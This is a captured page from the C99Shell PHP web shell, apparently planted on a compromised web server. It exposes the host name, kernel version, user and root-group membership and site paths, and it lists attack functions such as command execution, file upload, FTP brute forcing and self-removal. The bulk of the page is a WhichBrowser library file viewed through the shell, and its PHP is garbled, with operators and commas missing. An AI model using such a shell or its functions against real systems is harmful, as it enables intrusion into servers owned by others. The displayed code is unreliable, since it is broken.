!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/whichbrowser/parser/src/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Cache.php (2.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WhichBrowser;

use 
Psr\Cache\CacheItemPoolInterface;

trait 
Cache
{
    private 
$cache;
    private 
$expires;

    
/**
     * @var boolean     $cached   Was this result retrieve from the cache?
     */

    
public $cached false;


    
/**
     * Enable caching of results
     *
     * @param  object   $cache     An PSR-6 cache pool (an object that implements Psr\Cache\CacheItemPoolInterface)
     * @param  int      $expires   Optional the number of seconds after which a cached item expires, default is 15 minutes
     */

    
public function setCache($cache$expires 900)
    {
        
$this->cache $cache;
        
$this->expires $expires;
    }


    
/**
     * Apply cached data to the main Parser object
     *
     * @internal
     *
     * @param  array    $data      An array with a key for every property it needs to apply
     */

    
private function applyCachedData($data)
    {
        foreach (
$data as $key => $value) {
            
$this->$key $value;
        }

        
$this->cached true;
    }


    
/**
     * Retrieve the data that can be cached from the main Parser object
     *
     * @internal
     *
     * @return  array    An array with a key for every property that will be cached
     */

    
private function retrieveCachedData()
    {
        return [
            
'browser' => $this->browser,
            
'engine' => $this->engine,
            
'os' => $this->os,
            
'device' => $this->device,
            
'camouflage' => $this->camouflage,
            
'features' => $this->features
        
];
    }


    
/**
     * Retrieve the result from the cache, or analyse and store in the cache
     *
     * @internal
     *
     * @param  array|string     $headers   An array with all of the headers or a string with just the User-Agent header
     *
     * @return  boolean         did we actually retrieve or analyse results
     */

    
private function analyseWithCache($headers$options = [])
    {
        if (isset(
$options['cache'])) {
            if (isset(
$options['cacheExpires'])) {
                
$this->setCache($options['cache'], $options['cacheExpires']);
            } else {
                
$this->setCache($options['cache']);
            }
        }

        if (
$this->cache instanceof CacheItemPoolInterface) {
            
$item $this->cache->getItem('whichbrowser_' md5(serialize($headers)));

            if (
$item->isHit()) {
                
$this->applyCachedData($item->get());
            } else {
                
$analyser = new Analyser($headers$options);
                
$analyser->setdata($this);
                
$analyser->analyse();

                
$item->set($this->retrieveCachedData());
                
$item->expiresAfter($this->expires);
                
$this->cache->save($item);
            }

            return 
true;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0077 ]--